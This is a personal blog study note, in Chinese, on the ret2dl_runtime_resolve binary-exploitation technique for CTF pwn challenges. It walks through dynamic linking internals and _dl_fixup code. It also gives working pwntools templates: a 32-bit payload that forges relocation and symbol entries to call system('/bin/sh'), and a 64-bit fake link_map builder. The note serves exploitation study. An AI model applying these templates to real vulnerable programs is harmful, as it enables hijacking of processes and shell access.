ret2dl_runtime_resolve

之前学习过一段时间的32位下的ret2dl_resolve利用,后面不常见64位,因此开一页总结一下学习情况

简介

ret2dl_resolve利用是由于延迟绑定而产生的一种利用方法,通过伪造动态链接的重定位信息,令程序错误寻址,从而getshell的方式
通常在CTF比赛中,Pwn题常见的为32位的利用方法,然后并不是没有出现过64位的题,而64位的题,又与32位方法有着很大的不同,文章只是为了自己以后复习方便一目了然的理解知识点,故只适合我自己,如果想详细的理解可以进下方参考链接进行学习

32位

程序在调用某动态函数的时候,有如下步骤(此处为一个32位程序中write函数举例)

1
0x80483d0  <write@plt>                 jmp    dword ptr [write@got.plt] <0x804A01C>
2
 
3
0x80483d6  <write@plt+6>               push   0x20
4
0x80483db  <write@plt+11>              jmp    0x8048380
5
6
0x8048380                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804A004>
7
0x8048386                              jmp    dword ptr [0x804A008] <0xF7FE92B0>
8
9
0xf7fe92b0 <_dl_runtime_resolve>       push   eax
10
0xf7fe92b1 <_dl_runtime_resolve+1>     push   ecx
11
0xf7fe92b2 <_dl_runtime_resolve+2>     push   edx
12
0xf7fe92b3 <_dl_runtime_resolve+3>     mov    edx, dword ptr [esp + 0x10]
13
0xf7fe92b7 <_dl_runtime_resolve+7>     mov    eax, dword ptr [esp + 0xC]
14
0xf7fe92bb <_dl_runtime_resolve+11>    call   _dl_fixup <0xF7FE3660

程序会jmp到got表的地址,即write@plt+6处,将0x20压入栈中,继续跳转到0x8048380,将[GOT+4]压入栈中,然后调用GOT+8的指针,此处可以知道[GOT+8]存放了_dl_runtime_resolve的指针,最后则会调用_dl_fixup进行定位结构体
首先把结构放出来

1
typedef struct {
2
	Elf32_Addr		r_offset;
3
	Elf32_Word		r_info;
4
} Elf32_Rel;

上述结构体为延迟绑定函数的重定位结构体,由plt0与push的第一个参数确定,r_offset放置的为动态函数的GOT表地址,r_info中保存着函数符号表的偏移量以及类型
如果 r_info&0xFF == 7,则函数为延迟绑定类型,(r_info>>8)为.dynsym的对应的第n个符号表结构体,单个重定位表项大小为8,单个符号表项大小为0x10.
函数的符号表项结构体如下

1
typedef struct
2
{
3
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
4
  Elf32_Addr    st_value;
5
  Elf32_Word    st_size;
6
  unsigned char st_info; //对于导入函数符号而言,它是0x12
7
  unsigned char st_other;
8
  Elf32_Section st_shndx;
9
}Elf32_Sym; //对于导入函数符号而言,其他字段都是0

通过st_name与.dynstr的地址可以确定函数的对应的字符串
程序调用动态函数流程为:压入两个参数->由第一个参数确定重定位结构体->通过重定位结构体中的r_info确定符号表项->通过符号表项的st_name确定函数对应字符串地址

利用

利用plt0与可控的参数定位伪造的重定位结构体,由于重定位结构体可伪造,故同理控制r_info,绕过类型判断,定位到伪造符号表项,继续控制st_name定位到伪造的函数字符串

1
base_stage = bss_addr + offset
2
plt0 = elf.get_section_by_name('.plt').header.sh_addr
3
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
4
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
5
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
6
7
## Making fake write symbol
8
fake_sym_addr = base_stage + 24
9
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
10
fake_sym_addr = fake_sym_addr + align
11
index_dynsym = (fake_sym_addr - dynsym) / 0x10
12
13
st_name = fake_sym_addr + 0x10 - dynstr
14
fake_write_sym = flat([st_name, 0, 0, 0x12])
15
16
index_offset = base_stage + 16 - rel_plt 
17
write_got = elf.got['write']
18
r_info = (index_dynsym << 8) | 0x7 		# Control the r_info
19
fake_write_reloc = flat([write_got, r_info])
20
21
payload  = p32(plt0)
22
payload += p32(index_offset)
23
payload += p32(0)
24
payload += p32(base_stage + 0x50)
25
payload += fake_write_reloc	# fake_write_reloc
26
payload += '\x00' * align			# Padding
27
payload += fake_write_sym		# fake_write_sym structure
28
payload += 'system\x00'
29
payload  = payload.ljust(0x50,'\x00')
30
payload += '/bin/sh\x00'

上述为32位利用的常用模板

64位

1
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
2
     {
3
	  const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
4
	  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
5
	  version = &l->l_versions[ndx];
6
	  if (version->hash == 0)
7
		version = NULL;
8
  }

由于64位动态链接中,vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff的过程由于reloc->r_info比较大,故程序会发生错误
如果绕过上面的判定,需要往ld.so中(link_map+0x1C8)处写上Null,需要泄漏地址,则再利用ret2dl就比较累赘,故这里绕过

1
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

判定,即可来到

1
    /* We already found the symbol.  The module (and therefore its load
2
address) is also known.  */
3
    value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
4
    result = l;

此处将(l->addr + sym->st_value)的值赋值给value,故此处选择伪造link_map结构,然后控制参数

1
struct link_map {
2
    Elf64_Addr l_addr;
3
    char *l_name;
4
    Elf64_Dyn *l_ld;
5
    struct link_map *l_next;
6
    struct link_map *l_prev;
7
    struct link_map *l_real;
8
    Lmid_t l_ns;
9
    struct libname_list *l_libname;
10
    Elf64_Dyn *l_info[76];  //l_info 里面包含的就是动态链接的各个表的信息
11
    ...
12
    size_t l_tls_firstbyte_offset;
13
    ptrdiff_t l_tls_offset;
14
    size_t l_tls_modid;
15
    size_t l_tls_dtor_count;
16
    Elf64_Addr l_relro_addr;
17
    size_t l_relro_size;
18
    unsigned long long l_serial;
19
    struct auditstate l_audit[];
20
} *

可知l_addr很容易就能控制为offset,如果令l_addr为system相对于程序存在的某GOT表的函数在libc中的偏移,再控制sym->st_value指向该函数指针,即可控制value的值

1
//获取符号表地址
2
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
3
//通过r_info获取函数的符号表结构体
4
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

往后用libc_start_main举例,sym由&symtab[ELFW(R_SYM) (reloc->r_info)]确定,然后symtab由D_PTR (l, l_info[DT_SYMTAB])确定
1.控制(r_info>>32)为0
2.控制l_info[DT_SYMTAB]指向的地址为link_map + 0x70,在link_map+0x78填上libc_start_main的GOT-8的地址
3.D_PTR运算后则&symtab指向了link_map+0x78,从而sym->st_value则为libc_start_main在libc中的地址
至此已经可以取得value的值为system的地址,最后则要想办法将取得的值写在某个地址可写的区域

1
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
2
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

rel_addr由已控制的l_addr加上reloc->r_offset确定,而reloc由D_PTR (l, l_info[DT_JMPREL]) + reloc_offset)确定
此处假定rel_addr为link_map + 0x28,fake_reloc地址为link_map + 0x30
1.reloc_offset为之前填充的函数相对于.dynsym的偏移量
2.令l_info[DT_JMPREL]指向link_map+0x80-8,而link_map + 0x80填充link_map + 0x30 - reloc_offset
3.link_map + 0x30处控制r_offset为link_map + 0x28 - l_addr,并且绕过绕过类型判断,填充r_info为7
之后_dl_fixup函数会进行定位,然后在link_map + 0x28处写上system的动态链接地址
此外,由于程序还会加载strtab

1
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

由l_info[DT_STRTAB]确定,故需要保证此处有个具有可读权限的地址

1
from pwn import*
2
def build(fake,one_got,reloc_index,offset):
3
	target = fake + 0x28	
4
	fake_link_map  = p64(offset)
5
	fake_link_map  = fake_link_map.ljust(0x30,'\x00')
6
	fake_jmprel  = p64(target - offset)  ## offset
7
	fake_jmprel += p64(7)
8
	fake_jmprel += p64(0)
9
	fake_link_map += fake_jmprel
10
	fake_link_map  = fake_link_map.ljust(0x68,'\x00')
11
	fake_link_map += p64(fake)									# DT_STRTAB (just a pointer to satify the struct)
12
	fake_link_map += p64(fake +0x78 -8)							#fake_DT_SYMTAB
13
	fake_link_map += p64(one_got -8) 							# SYMTAB->st_other==libc_address
14
	fake_link_map += p64(fake +0x30-0x18 *reloc_index)			#point the fake SYMTAB
15
	fake_link_map  = fake_link_map.ljust(0xF8,'\x00')
16
	fake_link_map += p64(fake+0x80-8)							#fake_DT_JMPREL
17
	return fake_link_map
18
	
19
'''
20
linkmap:
21
	0x00: START
22
	0x00: l_addr (offset from libc_address to target address
23
	0x08: 
24
	0x10: 
25
	0x14:
26
	0x15:
27
	0x18:
28
	0x20:
29
	0x28: # target address here
30
	0x30: fake_jmprel #r_offset 
31
	0x38:             #r_info should be 7
32
	0x40:             #r_addend 0
33
	0x48: 
34
	0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
35
	0x70: p_DT_SYMTAB = fake_DT_SYMTAB
36
	0xF8: p_DT_JMPREL = fake_DT_JMPREL
37
	0x100: END
38
--------------------------------------------------------------------------------------
39
typedef struct
40
		{
41
			Elf64_Word		st_name;		/* Symbol name (string tbl index) */
42
			unsigned char	st_info;		/* Symbol type and binding */
43
			unsigned char	st_other;		/* Symbol visibility */
44
			Elf64_Section	st_shndx;		/* Section index */
45
			Elf64_Addr		st_value;		/* Symbol value */
46
			Elf64_Xword 	st_size;		/* Symbol size */
47
		} Elf64_Sym;
48
49
typedef struct
50
		{
51
			Elf64_Addr		r_offset;		/* Address */
52
			Elf64_Xword		r_info;			/* Relocation type and symbol index */
53
			Elf64_Sxword	r_addend;		/* Addend */
54
		} Elf64_Rela;
55
--------------------------------------------------------------------------------------
56
'''

上方为ret2dl64的link_map模板,从raycp师傅的pwn_debug框架中提取出来的

参考链接

1.Return-to-dl-resolve
2.ret2dl_resolve解析
3.延迟绑定技术原理
4.ret2_dl_runtime_resolve

附件

_dl_fixup源码

Contents
  1. 1. 简介
  2. 2. 32位
  3. 3. 利用
  4. 4. 64位
  5. 5. 参考链接
  6. 6. 附件
|